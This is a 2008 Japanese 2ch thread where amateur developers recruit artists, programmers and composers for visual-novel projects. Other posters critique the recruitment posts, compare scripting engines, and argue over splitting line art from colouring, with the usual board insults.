今覚えてる中で挙げると時計塔と戦車ゲーの時かな
そんなに昔の話でもない
>>586 うーん定義について聞いてるのであって。
まともな募集の実例だけ挙げられても分からないな。
それ>>1のテンプレに上げてたとして他人に説明できてると思える?
そこまで熱心に話を逸らそうとしなくてもいーと思うぜw
>>588 いやいや、対話するなら定義の食い違いがあっては困るだろ。
基本に忠実なだけですよ。
誰も君と対話しt
テンプレに目立った不備が無く、企画の規模が手頃で
手伝う事で完成しそうな募集ならここでも充分人は集まる
まともだとか完成しそうってのはもちろん住人それぞれの主観によるものだが
みんな募集がある度に無差別で叩いてる訳でもなかろう
荒れる時は荒れるなりに理由がある
あと
>>586は
>>580や
>>582を受けてのレスだ
アンカーつけるまでもないと思っていたがこちらの不注意だったみたいだな
>みんな募集がある度に無差別で叩いてる訳でもなかろう
>荒れる時は荒れるなりに理由がある
これだけど、只単に他人の足引っ張りたいだけの人間も多数巣食ってるぞ。
便乗荒らしとかな。ぶっちゃけ無差別に近い。
うさばらしが多数…
けっして無差別にたたいてるわけじゃないぞ
おれが叩かれやすい企画の例をあげてやる
1、他人任せ
2、なんかむかつくやつ(顔とか性格が気に入らない)
3、できるやつ
以上のことからおもしろいヘタレは人気がある
でもホイホイにかかるのが多くなるとおもしろいんで
>>591が真実ってことにしとく
ここはすばらしい募集所です。ほんとうにあなた達は幸せですね(笑)
ですよねーw
>2、なんかむかつくやつ(顔とか性格が気に入らない)
>3、できるやつ
この2つで実質無差別なんじゃないのかと。。。
いい加減語るスレに帰れ何も出来ない無能な乞食どもw
乞食に失礼だろ常考
600 :
>>539:2008/01/11(金) 00:41:29 ID:xp1B+Kgi
すいません、人数揃いましたので募集終了します
ありがとうございました。
まともな募集といえば、なんか演劇っぽいやつが面白そうだった覚えがある
ここまでつまんなそうと言われると不安になってきた・・・
そもそも題材が悪いのかな。
トレジャーハンターとかドラゴン捕獲とか考えたんですが如何せん発想が貧弱で・・・
 ̄ ̄ ̄ ̄ ̄ ̄○ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
O 。
, ─ヽ
________ /,/\ヾ\ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
|__|__|__|_ __((´∀`\ )< というお話だったのサ
|_|__|__|__ /ノへゝ/''' )ヽ \_________
||__| | | \´-`) / 丿/
|_|_| 从.从从 | \__ ̄ ̄⊂|丿/
|__|| 从人人从. | /\__/::::::|||
|_|_|///ヽヾ\ / ::::::::::::ゝ/||
────────(~〜ヽ::::::::::::|/ = 完 =
604 :
名無しの屑:2008/01/11(金) 10:39:58 ID:TH1E5b71
どうも、屑です。
ゲームの種類としてはAVGかサウンドノベルが作りたいのですが如何せん屑なので
シナリオ書くぐらいしかできません。
物語の構想としては現代〜近未来ぐらいの世界観で、ある科学者の実験という
設定です。
その科学者は一人の女性の人格を基盤に多数の人形(或いは人造人間?)を
作ったが正常に稼動したのは四体だけだった。
しかし、それすらも完全ではなく四体がそれぞれ喜・怒・哀・楽の感情が
欠落しているという感じのストーリーなんですがいかがでしょうか?
1読めゴミ
606 :
名無しの屑:2008/01/11(金) 11:03:13 ID:TH1E5b71
すいません。もう熱で意識が混濁しかけているのでご考慮していただけると
有難いです。
ジャンルはAVGかサウンドノベル。
製作状況:0です。すいません、話にならないのは分かってます。
制作期間:一年以内に完成予定(延長有り)
意気込み:見ての通り無知で屑ですがゲームはきちんと完成させます。
募集人数
プログラマー【一名】
絵師【一名】
サーバー管理とかできる人【一名】(サーバーの知識ないです。すんません。)
計三名。あとできればテスター一名、です。
よろしくお願いします。
>>606 想定するユーザの年齢や性別、絵の枚数、BGMや音楽、プレイ時間...etc
そういったゲームの規模やコストを晒せよ。
もしかして・・・ワタクシが書いた文章をゲーム化するのに必要な絵や音楽がコストです。
ワタクシが書き終わるまでコストは不明です。
とか言うんじゃないだろうな。
609 :
名無しの屑:2008/01/11(金) 12:51:22 ID:TH1E5b71
今起きました。様々なご忠告有難う御座います。もう一度きちんと学んで
もっと企画を具体化してみます。
うpしろうp
・・・そして叩く
AVGかサウンドノベルでサーバー管理って何やるんだろ?w
613 :
名無しの屑:2008/01/11(金) 15:05:56 ID:TH1E5b71
↑酷い・・・でも大体企画がまとまりました。
やはり俺は最初からクライマックスだぜ!的なものを作ろうと思うと
モチベーションが保てきれずに空中分解する可能性が高いので
短めのビジュアルノベルにしようと思います。
614 :
名無しの屑:2008/01/11(金) 15:08:35 ID:TH1E5b71
>>612 すいません。多少のおかしな点は生暖かい目で見てくださると有難い
です。
で、企画としては
615 :
名無しの屑:2008/01/11(金) 15:27:27 ID:TH1E5b71
ジャンル:【ビジュアルノベル】
対象:男性向け全年齢
CG枚数:50枚(立ち絵も含む)
BGM:6曲
プレイ時間:平均二時間程度
制作期間:一年
募集人員
絵師【一名】
プログラマー【一名】
BGMが作れる方【一名】
BGMが作れる方がいてくれると大変有難いのですが、集まらなかった場合
フリーの素材でなんとかします。
いかがでしょうか?
差分無しの計算だとすると2時間で50枚…1時間で25枚…
約2分30秒に1枚のペースで…
完全な紙芝居だな!
下手でもいいから一度自分で全部作ってみるといいんだよな。
そうすると他の人の作業がどれくらい時間かかるか分かる。
618 :
名無しの屑:2008/01/11(金) 15:37:53 ID:TH1E5b71
ああ、説明不足でした。すみません。
一周平均二時間です(汗
CG50枚って羨ましい数字だな。結構な大作だぞ。
620 :
名無しの屑:2008/01/11(金) 16:56:06 ID:TH1E5b71
どうも屑です。重ね重ね真に申し訳ありません。一周六〜七時間です。
621 :
名無しの屑:2008/01/11(金) 17:14:01 ID:TH1E5b71
でも、プレイ時間はまた変わるかも知れないです。今一つどのくらい
時間がかかるのか分からないので・・・・すいません。
シナリオ完成してから来てくれ
さすがにここまで完成の見込みが無いと、叩かれるのもいたしかたない。
救い(?)は叩きの内容をスルーしたり、相応のリアクションをとれる点だが、
もしこれが偶然ではなく当人の才能であるなら、
募集主育成ゲームスレであるステフスレに行くのが、
本人とこのスレの住民のためですごりかいくださいどうかよろしくおねがいします
625 :
名前は開発中のものです。:2008/01/12(土) 00:54:27 ID:DlXaCkMv
プログラムなんか簡単なんだし自分で勉強してみなよ。
プログラム・シナリオできるんだったら絵描いてくれる人も自然と集まるし。
それくらいもできないんだったら
自分のシナリオを書くために他人を巻き添えにするのはやめたほうがいいと思う。
626 :
名無しの屑:2008/01/12(土) 07:56:13 ID:0xPF0X7R
相変わらず熱の下がらない屑です。さっき起きたのですが
色々とご助言してくださり痛み入ります。
自分の勉強不足ということが認識でき嬉しく思います。
プログラミングも初歩的なことであればできるのでもっと精進し再度募集
してみることにします。
お騒がせして真に申し訳ありませんでした。
こうして又一人去っていった・・・
プログラムというかスクリプトだよな
ノベル系なら
629 :
名前は開発中のものです。:2008/01/12(土) 11:51:30 ID:zL9Gi32l
スクリプトならもっと簡単だな
スクリプトなら簡単 は分かるが
プログラムなら簡単ってどんだけ舐めてんだ?
天才ハッカーだからじゃね?
632 :
名前は開発中のものです。:2008/01/12(土) 13:58:14 ID:zL9Gi32l
ノベルなんか1つの言語必要最低限のことしか覚えなくていいし
簡単だろ・・・
どんだけー
いかほどー
はうめにー
あたり前田のクラッカー
そうか、ことしもそんな季節か……時間がたつのもはやいもんだ
そういうこと言う奴が一番(ry
何か心に残るような訴えを詰め込んだノベルゲームを一緒に作りませんか
結果はどうなっても、一緒につくってみませんか?
シナリオとHPは自分が担当します。
シナリオを一応、勉強しています。
書き方とか、まだまだ違和感あるかも知れませんが、結果はどうなっても一緒につくってみませんか?
山田くん、座布団ぜんぶもっていきなさい
そーや、シナリオの勉強してますっていう奴に
具体的にどういうことやっているのかって聞いたら
エロゲやりまくってますというポカーンな答えが帰ってきたことがあったな
つーかノベルゲーなんてスクリプトで組めるんだからシナリオがスクリプト組めば?
とこーゆうの見るたびに思ってしまう。
シナリオ「アクションノベルゲーです」
プログラミングが簡単って、簡単なプログラミングしかしたことないんだろうな
アルゴリズムのアの字すら知らないんだろ
逆に何かに到達してしまったのかもしれんw
プログラムは簡単だとしても、ゲームを作るのは難しい気がするな
ハードの仕様に振り回され、絵を描く才能が必要で、
人を増やせば管理する才能だって必要
総合芸術って言い方は過言だが、まぁなんにせよ求められるスキルが多すぎる
>>643-648 エロゲじゃないです。エロゲじゃなくて良いノベルゲームが好きなんです。
ノベルゲームをつくりたいんです。
どんなシナリオか考えていません。でも色々な気持ちで書いてみたいんです。
ジャンル:ビジュアルノベルかアドベンチャーゲーム
対象 :全年齢
募集人員:絵師様1名、プログラマー様1名、BGMが作れる方1名
もし良かったら、同人としてスタートしたいです。
自分の人間性に問題があるので、楽しい雰囲気でゲーム作ったり
そういうことは、かなり時間がかかりそうなのです。
それでも付き合ってもらえる人が居たらうれしいです。
一緒に活動して付き合えないと感じたら、直接言って下さい。
話せばわかります。素の自分をだそうと思っています。
微妙にネタだとわかりにくいんだけど…
むしろ即ネタだと言い切れないのが間違ってるのか?
つーか
>>615なのか?
どっちにしろ、自分を屑だとか人間性に
問題がある、とか言わないようになってから
来たほうがいいと思うがね。
同じような人なら来てくれるかもね。
まあ、悪いやつじゃなさそうだ
655 :
NANASI:2008/01/13(日) 18:38:05 ID:pt2HnfSG
SAGE
プログラムとスクリプトの区別ついてないのか。
そもそもノベルエンジンを知らないのか。
コイツは確実に後者。賭けても良い。
典型的なダメ募集なのに文体のせいかみんな優しくしてて吹いた
月並みだけど
>>615は短い文章でも何か書き終えてからメンバーを探すと良いと思うよ
「これから成長します」系募集は禁止でいいだろ。
応募する人がいる可能性があるなら禁止する必要ないだろ
ないから禁止と言ってるわけで…
じゃあ成長しませんけど募集します
>>659-660 逆じゃないのか?
応募する人がいないなら、誰も迷惑かからないんだから放っといて良いが
もし応募する人がいて、実際に作業入ったとたんに募集主が投げ出した、じゃ応募する人が迷惑するし……。
>>662 これから成長します=募集主投げ出す か?
スレをじゃましない限り禁止までする必要はないと思うけどな
イコールじゃないけど、限りなく近いだろ。
だってまだ何もやってないんだし、作業の辛さを解ってないだろうし。
オリンピックに出場します。色々協力してください。
運動はやった事無いけど、協力者が集まってから始めます。
練習して成長するから大丈夫です。
なんて言われて「こりゃ途中で投げ出すな」と思わない人間はいないだろう。
まぁ禁止とまではしなくていいとは思うけどな。どうせ集まるわけもなし。
論破されてブチきれて大暴れするやつ大連発なんだから、
「禁止ですお引き取りください」の方がいろいろコスト節減できるだろ。
スルーが一番だろ
応募側も途中で投げ出さないわけじゃないしなぁ。
遠まわしに書いてたけど、
無駄な募集を無くしてヲチを減らすのが本当の目的です。
ご理解ください。
なんで何もできない奴がゲーム作りたいとか思うようになるのかね
今の時代、ゲームなんて身の回りに当たり前のように溢れてるし、
小さな子供ですら普通に触れてるから、目ばかり肥えてしまってる。
だから同人の(商業に比べて)レベルの低い作品を見て
「なーんだこの程度なら俺のほうが凄いの作れるぜ」とか思っちゃうんだろう。
671 :
名前は開発中のものです。:2008/01/14(月) 05:43:42 ID:lOIIeeOT
ゲームに関して言うと
プログラムやってないほうが自然と面白いアイデア浮かぶんだけど
やり始めるとなんかアイデアに乏しくなってくる・・・
実装困難なアイデアを本能的に排除してるんじゃね?
674 :
名無しの屑:2008/01/14(月) 17:19:54 ID:AjRo1mm1
ども、スクリプトでゲームを作り始めた屑です。
ちなみに
>>642や
>>650は文体が似てるかもしれませんが同一人物ではない・・・
と思います。多分(汗
んで早速NS cripterでゲームを作り始めてみたのですがトップのスクリプト
ボタンを作る段階で躓いてしまいました。どこかいいスレやサイトを知ってる
方がいれば恐縮ですが教えていただけると有難いです。
キサマ、同じ板内を検索する努力すらする気が無いとでもいうのか。
いや、やり始めただけでもえらいぞ
検索だ 検索の鬼になるのだ
677 :
名無しの屑:2008/01/14(月) 19:28:28 ID:AjRo1mm1
>>675さん
すみません。自分でも一応探してはみたのですが捜し方が悪いのか
見つけられなくて
そうか。
その程度の事すらできないようではゲーム製作なんて不可能だよ。
なんせ、これから先こういう「調べなくてはいけないこと」が山のごとく積みあがってるんだから。
諦めたら?
679 :
名無しの屑:2008/01/14(月) 19:38:48 ID:AjRo1mm1
>>678さん
確かに私の能力は高が知れてると思います。
しかし例え山のような問題にぶつかったとしても私はそれを乗り越えてみせます。
今は無理でも努力をして。
680 :
名無しの屑:2008/01/14(月) 19:40:34 ID:AjRo1mm1
あ、それからこの名前結構気に入っているのでもしよろしければ気軽に屑と
よんでいただければ幸いです。
なんか新手のSMみたいですけど
コテにするのもいいけどトリップつけたら?
あと、募集以外のことをやりすぎるとスレ違いってたたかれるよ
探し方って…
お前さんの使ってるスクリプト名でそのままこの板検索したら専用スレが出てくるだろうが
あと、そこへ行ったらいきなり質問するんじゃなくて、まず最初らへんのテンプレをじっくり読めよ
解説サイトのまとめがちゃんと載ってるから
それと質問はスレ違いなので、以降は相応の質問スレへどうぞ
努力する方向を間違わんようにな
>>679 いやだからその「探しても見つからない」という小さな小さな山をまず乗り越えて見せてよ。
684 :
名無しの屑:2008/01/14(月) 20:50:55 ID:AjRo1mm1
了解です。
685 :
650:2008/01/16(水) 02:05:02 ID:bgz0fmPh
自分と同じ感じで一歩が踏み出せなくて捗らない人って居ると思って、
思い切って募集してみました。
時間かければきっと分かり合えるって思っているんです。
時間かかるかもですが付き合ってもいい人、返事待っています。
一緒に同人で活動していい人、返事待っています。
仮に集まったとしても、シナリオがまったくできてないんだから
絵師もプログラマも音師も、やる事がない(活動できない)だろ。
687 :
650:2008/01/16(水) 03:29:17 ID:bgz0fmPh
>>686 はい、時間をかけてプロット書き始めます。
いっぱい考えて、何度も加筆してシナリオゆっくりと書こうと思っています。
仮に集まっても、しばらく待機してもらうかもしれません。
自分勝手ですけどゆっくり活動する予定です。
>>687 ゲーム制作を一緒にする友達を探してるんなら、どっか他のサイトで探したほうが良いよ。
ここはもう、プロジェクト、特に企画が固まってる人が、製作チームを作って、制作を始めるスレだから。
>>687 プログラマー希望です。
ちょうど、ADV用のスクリプトエンジン書こうかと思ってたんで
一緒にやりますか?
自分も仕事があるので、ゆっくりしか出来ませんが。
690 :
名前は開発中のものです。:2008/01/16(水) 16:30:39 ID:yeoMJwd3
>>674 NSだと、吉里吉里より何かと検索結果が乏しくなり勝ちだな。
つーか、普通に検索で凄い数引っ掛からないのか?
良いサイトと悪いサイトの判断にもよるが、目的別で調べる
方が、知りたい情報が手に入りやすいぜ。それと、作者や開
発元なりWIKIに初心者なら充分なくらい情報はある。
上記以外に、もっと細かく踏み込んだ内容が満載のサイトも
あるが、それは頭を使って探してくれ。
うちは、別のエンジン使っているが、本家とそれ関連と踏み
込んだ内容のサイトを基に、問題解決してるぜ。
てか、ここって募集スレだろ・・・・・・
691 :
名無しの屑 ◆O3NJv821UM :2008/01/16(水) 16:56:30 ID:IVviZoDw
どうも、最近また顔の傷が疼きだした屑です。痒い・・・
>>690さん
お手数おかけしてどうもすみません。
あとトリップつけてみたんですがこんな感じでいいんですかね?
692 :
650:2008/01/16(水) 17:16:57 ID:bgz0fmPh
>>688 御指導ありがとうございます。
確かにどっか他のサイトで探したほうが良いのかも知れないと思うんですが
ここで募集良いでしょうか…・・・。
>>689 是非お願いします!
焦らないでマイペースで活動できればと思っています。
【ジャンル】
ビジュアルノベルかアドベンチャーゲーム
【対象】
全年齢
【連絡先】
bosyu650☆galaxy.ocn.ne.jp
☆を@に変えて下さい。
【募集人員】
絵師様1名、BGMが作れる方1名
同人として一緒に活動して頂ける方も募集しています。
>>650 希望される方はメールアドレスかここで返事をしてください。
お待ちしています。
693 :
689:2008/01/16(水) 19:13:51 ID:x5UOssNy
>>692 メール送りました〜gmailです。
絵や音楽の方の募集は、後からでもいいのではないでしょうか?
絵は後から差し替えでどうとでもなりますし、なにより登場人物の像が
出来ていないのでは描きようが無いと思います。
音楽も同様で、世界観などが決まらないと作れないと思います。
生意気ですが、今の私の意見です。
【設定厨】
・横からちょこちょこ口を出すだけでスタッフ気取りの困った人。それが設定厨
・何も取り得がないので、とりあえずライターで参加表明する。作業は死ぬほど遅い&お粗末
・そのくせメッセで毎晩雑談をしている
・脳内で年単位のスケジュールを組んでいる
・盛り上げ役を自称。作業と無関係な雑談を続け、無意味に掲示板やチャットを借りる(無料の)
・作業が早い人を「頑張りすぎ」と非難する
・作業やってるかと聞けば「やってます」。見せてと言えば「できあがってから」
・「マターリやりましょう」「無償だから気張らずに」が常套句
695 :
650:2008/01/16(水) 22:54:05 ID:bgz0fmPh
>>693 今返事しました。ありがとうございます。
レスも一緒に書いてあります。
696 :
名前は開発中のものです。:2008/01/16(水) 23:27:19 ID:yeoMJwd3
>>691 うむ、いつも2chに居るわけじゃないので・・・・・・一番の教材は何と云っても、NSで作られたゲームをブチヌク事だな。
ぶち抜くだけの知識あれば、普通にエンジンに頼らなくてもPG出来るしなぁ〜
2ch内を探せば同じネタがゴロゴロしてるよ。ここの板もそうだし、PG技術版でも何かしらでも・・・ UNIX版の昔のスレにゲームに関する
技術的な一部分があったよ。
何となく思ったんだが、何故NSにしたんだ? そもそも初心者が「よ〜し、やるぞ〜」って言ってサクサク作れるエンジンではな
いと思うが・・・・・・
それと、吉里吉里にしろNSにしろSystemを始めとするお手軽では無いスクリプトエンジンは、各自必要なスクリプトを組んでやれ
よっていう意味だな。呼ばれ方はいくつかあるが、雛型なんて言う言い方する人もあれば、色々だ。C++の知識は無いよりあった方
が良いよ。これだけは確実だ。知識あれば妄想を具現化できるしな。
>>694 それ某スレにあるな。うちらの中に以前、資料やら作る為の道具等
よこせ言われて、ある程度サポートさせたが、その直後逃げられた。
本体設定資料・キャラ設定・プロット・各メンバー作業割り当て等
の資料を含め、創作する為のイメージ出来る材料一式渡せだと・・・
結果、お前は何だかんだと言って入ってきて直ぐ消えたさ。そう云
えば、金金って五月蝿かったな。
>・「マターリやりましょう」「無償だから気張らずに」が常套句
こういうサークルを良く見かける。マッタリしてたら、何時になっ
たって完成しねーって。うちらは、1週間〜1ヶ月のスケジュール
が限度だわ。抱負で年単位を想定はするが、スケジュールとしては
しないわな。
697 :
名前は開発中のものです。:2008/01/16(水) 23:27:52 ID:yeoMJwd3
>>693 ソフトハウスでの流れと一般の流れが異なる事があるが、大方一緒でしょ。
その方法で正論とは言えないが、大方OKだと思うよ。(商業ではここに音楽)
シナリオを上げてからCGと音楽の発注をかける方法と、CGとシナリオを平行
して行う場合がある。両者とも、相方が居ないと、製作には行き詰まる可能
性が高いので、多少縛りはあるものの、イメージ通りの作品が期待出来る。
シナリオのみを仕上げ、必要箇所に必要分を発注する場合、発注後にシナリ
オ訂正が出来ない縛りが発生する。シナリオ訂正や削除する場合は、無理矢
理CGを別に回すしかないが、前後のニュアンスでスマートな作品を作れない
可能性もある。開発期間を短くしたいなら、平行でする事だと思うよ。
シナリオ書いても、プロットを疎かにしている人が多いみたいだが、結構重
要だよね。
文章を書くのとシナリオを書くのでは違う。キャラクターのイメージが出来
ないうちにシナリオなんて描けないし、書けないよね。イメージの無い状態
で原画よろしくされたら、俺だったら受けないわ。
という自分はシナリオとスクリプトとPG担当です。助手募集だ(>。<)
698 :
650:2008/01/16(水) 23:40:11 ID:bgz0fmPh
あと会議はwindowsメッセンジャーにしようと思っています。
独りで全部やる。
補助してくれたら楽になる。
そのくらいの気持ちで行わないと出来ないよ。
そうゆう所には人が集まる。
少しでも形にして見せられないと
絵に描いた餅 これが多い事
ココナッツミルクでべとべとだよぉ……までよんだ
>>699 キャラクターボイスだけは自分の力ではどうしようもない・・・。
702 :
名前は開発中のものです。:2008/01/17(木) 00:25:01 ID:z1MwfIWB
>>701 ヘリウムで声変えればいけそうだぞ?
「やぁ〜僕ミッキー」みたいな感じで
キャラクターボイスは無くても、ちゃんと一つのゲームとしては完成してるじゃないか
エンディングまでプレイ出来るゲームを一人で全部やる、でいいじゃない
最初は立ち絵も適当なフリーを使っておいて、後で全部決まってから差し替えればいい
完成品配布実績も無いのに最初から大作作ろう!とか言うから、人が集まらんのだろう
ヘリウム声は本気でネタ用だなw
宅配もプログラマーが参加したみたいだね
てか、もう一人で作れたんじゃないのかこれw
706 :
名前は開発中のものです。:2008/01/17(木) 00:51:45 ID:z1MwfIWB
声は無くてもゲームとしては成り立つな。
紙芝居と云われるのがオチだが・・・
ヘリウム+DTM知識でソコソコ面白いまともな素材は作れるが・・・・・・
ネットで、フリーの声素材あるけども・・・オススメはしないな。
声がないという理由で紙芝居呼ばわりされている作品を寡聞にして知らない。
つーか紙芝居には声あるだろ。
708 :
名前は開発中のものです。:2008/01/17(木) 01:43:30 ID:z1MwfIWB
あるか。
別板でそう云われてたのを見たことがあったから。
>>705 blogのあれは募集主をプログラマー1人と数えているだけでは?
よくわからんけど自分で入れた声をいろんな声色に変換してくれる
便利ツールとかないのかな
いまどきの技術ならありそうな気がするんだが
宅配の人へ
それたぶん桃鉄だと思う。そういえば伝わる。
しかし、Flashで汎用性は無理じゃないのか。
とりあえず、初心者には汎用性は無理だ。諦めて専用に作るべきだ。
相場を組み込むような貿易ゲームならもっと面白そうなのにな。
つか、この手のゲームは対戦相手の確保がキツイよな。
自分もボードゲーム作ろうと一瞬思った人間だが、そこがネック。
>>711 桃鉄はやったことないんだけど、面白いらしいからちょっと安心
>>712 桃鉄は、競争はするけど相手を出し抜くようなものはほとんど無いので
刺激に欠ける面はあるかな。
ネットに色々載ってると思うから見てみるといいよ。
とりあえず絵に魅力があるから
もっと絵を用意して心意気を見せれば、そのうち協力者が来るんじゃないか。
714 :
名無しの屑 ◆O3NJv821UM :2008/01/18(金) 00:04:16 ID:HUALTbhR
ども、リアルで忙しくて授業中に睡眠時間を稼ぐ屑です。眠い・・・
>>696さん(さんづけってやはり必要でしょうか?)
NSを使ったワケは単純に二年ぐらい前に使ったことがあるからです。
あとゲーム製作を本格的にやり始めて分かったことが色々あります。
まず第一に、プログラミングが面倒臭い。そして、自分の作業スピードがかな
り遅い。
第二に背景とBGMは仮当てしといて最後に絵やBGMを付け足すのがベスト、
というか最後で良い。
以上の理由から募集を一旦辞めてゲーム作りから入って本当に良かったと
思います。
恐らくあのままでは完成すら程遠かった結果になっていたと思います。
まだ早いかもしれないけど色々ご助言下さった方々には本当に感謝しています。
715 :
名前は開発中のものです。:2008/01/18(金) 01:29:43 ID:mh4obbPK
>>714 BGMは最後まで無いのはちょっとつらいから、自分は
他所で引っ張って来た物を使っているな。モチベも
上がるので、効果はあります。
>>712 念のため言っておくが
桃鉄が面白い=あなたのゲームが面白い、ではない
そもそも桃鉄の人気は
ゲーム自体の奥深さというより、豊富なカードやイベントに引っ張られてる部分が大きい
「地名や物件によく知ってる名前が出てくる」ことも魅力の一つだ
どのへんが桃鉄なのかわからないんだけど…
>>711 いや、汎用性はとりあえず廃止して専用にしました。
貿易ですか、なるほど
とりあえずこれはこのまま作りますが、エキスパンション等で盛り込める余地が無いかどうか検討してみます。
>>718 その時々によって変わる目的地へ向かうボードゲーム
ってところが、桃鉄だと言ってるんじゃないかな
しかし俺も桃鉄だとは思えない
まだ妄想段階なのにエキスパンションwwwwどんだけめでてーんだよ
722 :
名前は開発中のものです。:2008/01/19(土) 00:17:42 ID:10+RsemT
>>650さん
絵師希望でメールしました。hで始まるgmailです。
お手伝いさせてもらえると嬉しいです。
725 :
650:2008/01/19(土) 17:05:26 ID:GdBVNhJf
689さんと
>>723さんへ
返事が遅くてごめんなさい。
メールで返事が明日できそうです。
726 :
名前は開発中のものです。:2008/01/19(土) 23:19:11 ID:SHOZxYDp
誰かスクリプト書かせて下さる方いらっしゃいませんかね><
台本を書きたいのか?
アメコミとかファンタジーアート系の絵柄で、絵描き探してるサークルありますか?
ホラーとかオカルトものサウンドノベル、マジックザギャザリング系統とかのイメージで。
いたらアドレス晒すのでレス下さい。
まずうp、話はそれから
単なるメンバー募集所ではなく絵なりなんなりをうpして
いる人を楽しませてください
そうですか、課題貰ってから描こうかと思ったんですが、うーん
じゃあモノ用意できたらまた参りますね
>>730 いや、ラフでも小さいサイズのでも何でもいいから、
雰囲気とセンスが分かるものうpすればいいだろ。
技術力なんか二の次。
乞食発言はスルーでおk
サークルさん側が求める主題とかジャンルによって
書き分けたものを見ていただきたいなと思ったんだけど、
乞食発言?ってどういう…
あとラフとかカットだと、実際制作に入ったときに、ラフのときは
相性イイと思ったんだけど…なんてこともあるかなと。
でもうpっていうかサンプル見てもらえるモノといえば、仕事以外のもの
見せたいと思ってるので(書き分けるから)、今まで無償でやったものにします
準備できたら書き込みます
>>728 ホラーものやりたいと思ってたんだけど
一緒にどう?
当方幽霊ですが今後に期待
お風呂行っててレス遅くなりすみません。
>734
ホラーですか!自分ホラーだいすきです
良ければ、別板でボランティアで描いた絵が(キャラクタ絵ですけど)あるので
メールします。
やったことあるホラーゲーは、
コープスとかゾウディアク、涅槃あたりです。
>>736 アドレスさらしておきます。
onbu555-game@yahoo.co.jp
アットマークを半角にしてください。
コープスと涅槃は自分もやった事あります。
メールしました。
ご期待に沿えないようでしたら、バッサリ断っちゃってください。
募集してその後すぐ逃避とかくそつまんねーんだよ!オラオラ(どんがどんが
サイト晒すなりなんかうpして叩かれるなりしてたのしませんかい
740 :
650:2008/01/20(日) 16:01:02 ID:h+0W6750
689さんと
>>723さんへ
返事が遅くなりました。
みなさんの重荷にならないよう時間のあるときに活動していきましょう。
741 :
650:2008/01/20(日) 16:17:00 ID:h+0W6750
続けてすいません。
絵師様は一応締め切りにします。
BGMが作れる方は募集していますが
まだ自分のシナリオが書き終えていないので、しばらくみなさんは活動できないです。
それでも良い方は
bosyu650☆galaxy.ocn.ne.jp
にメールをください。
☆は@に変えてください。
よろしくお願いします。
742 :
689:2008/01/20(日) 16:19:59 ID:EXHD3u0l
>>723 650さんのプロジェクトでプログラムを担当させていただく689です。
もし、よければ自分にもメール頂ければと思います。
kamuss_90☆hotmail.com
☆を@に変えてください。
よろしくお願いいたします^^
744 :
723:2008/01/21(月) 07:35:33 ID:+z7Kgg/4
>>742 723です、さきほどメール送りました。どうぞよろしくです。
>>701 出来るだろ、そもそもキモオタに媚びる為の声なんて要らないし
宅配の人、プログラマ参入おめ
めでたいとは微塵も思わんがこれで宅配がこのスレに来なくなるのがうれしい
うれしいならうれしいでいいけど、いちいちそんな事ここで報告する必要なかろう?
750 :
650:2008/01/24(木) 16:23:38 ID:LZUPvPUe
Yahoo!グループに直接追加しました。
お知らせのメールが届いてると思います。
650はメールだけでやり取りしとけここに書き込む必要なし
752 :
650:2008/01/24(木) 17:55:03 ID:LZUPvPUe
>>751 わかりました。簡単なのでつい書き込んでました。
スレ汚しすいませんでした。
――そしてだれもいなくなった
それで良いんだよ
2chなんかで乞食にやるゲームを作っても恥になるだけだ
見事に過疎ったな…
まぁ、痛い奴を叩くのはいいが、2chの募集は屑ってのは好きじゃないな…
それは置いといて、ネタ振りも兼ねてちょっと聞きたいのね
絵描きを募集したんだが…みんな原画だけやりたいっていうんだが…
原画、彩色、両方ともって分けた場合、人気ってどんな感じに偏ってるの?
つか、彩色だけ募集してくるのか?ってのがあってだな…
>>756 彩色ってのはちょっとしたスキルがあればそれなりの(あくまでそれなりだが)
モノが出来る。一方原画はデッサンみたいな技術の有無がはっきり出るから、ス
キルも高い物が要求される。もちろん両方出来るのが一人前なら当然なんだが、
絵を大量生産する場合、原画描ける奴に彩色やらすのは効率悪いので、自然、原
画>彩色と言うヒエラルキーが形成される。
でもさあ、個人制作で原画と彩色分けにゃならんほど大量に絵を描くのか?
そうでもないなら原画しかやりたくないとか、かなり微妙。ってのが感想。
まあ確かに色塗りしんどいけどさ。
でも他人の絵の塗り絵なんてやってらんねぇ
塗りが上手いと、下手くそな原画でも商業作品並に見栄えしたりするから不思議。
というか商業モノでも、綺麗なCGだと思ってたら原画だけみたらデッサンくるった変な絵ってのはよくある。
塗りっても、影のつきかたとか、かなり立体的な見方ができなければいけないから
原画のみデッサン力が必要というのは偏った考え方。
実力が 原画師<塗り師 の場合、原画のデッサンが狂ってたりして影のつけ方が判らない、とか
塗り師が苦労させられるという話はよく聞く。
だから俺の考えとしては、原画と彩色のどっちが重要、なんて比較は無意味。どっちも大事。
ただ、原画が自分の個性を出せる事に対し、塗りは作業のみになりがち。
だからやるほうとしては原画のほうが人気だろうな。
だからこそ彩色の方を優遇しなくてはいけないんだと思うが、757のいうように軽んじられるんだよな。
原画がヘタレでも塗り次第で上手く見えることはある
だからカスが原画に流れるんだよ
>>757 そう、そんなに絵がないんだよな
立ち絵が欲しいだけだし
だから原画彩色ってわけるって言われて困惑してたんだ
>>759 そや、どっかのBlogで色を塗ればなんとかなるよ!っての思い出した
技術より人気というか、原画は遠慮したいけど塗りならやりたいってのは
あるんかなーとか思ったわけで
い い か ら 語る スレ に カエレ 糞 ど も
このスレは深く静かに沈降して、
真面目な募集のときだけ浮上するスレでいいんだよ、俺的に。
763 :
名前は開発中のものです。:2008/01/29(火) 20:44:08 ID:Bocu5Nfk
浮上しまーす
正直さっきは言い過ぎたが、
>>763はこの先一秒たりとも生きる権利の無いほどの、
底抜けの低知能であることは、どんなに強調しても言いすぎという事はないだろう。
両方やってくれって頼んでだめなら諦めるとか、絵師が好みで諦めがたいならダメ
元で塗りを募集するか自分で塗るか。
でも小規模で分業は効率が疑問な上にリスキーな気がする…
766 :
名前は開発中のものです。:2008/01/29(火) 20:53:50 ID:Bocu5Nfk
カスが権利とかほざいております
小規模だと分業すればするほど不効率でエターナル可能性が高くなる
しかも権利関係も非常に複雑になる
たとえば3人程度ならうまくできたからどこかフリゲのサイトにのっけてみよっかーとか手軽にできるが
塗りと原画でわけてるレベルの人数だと全員にアポ取るだけでもたいへん
まぁ、アポ無しでやっても問題はないだろうけど
>>767 だな。途中で抜けた奴が塗った絵が使えなくなるなら、
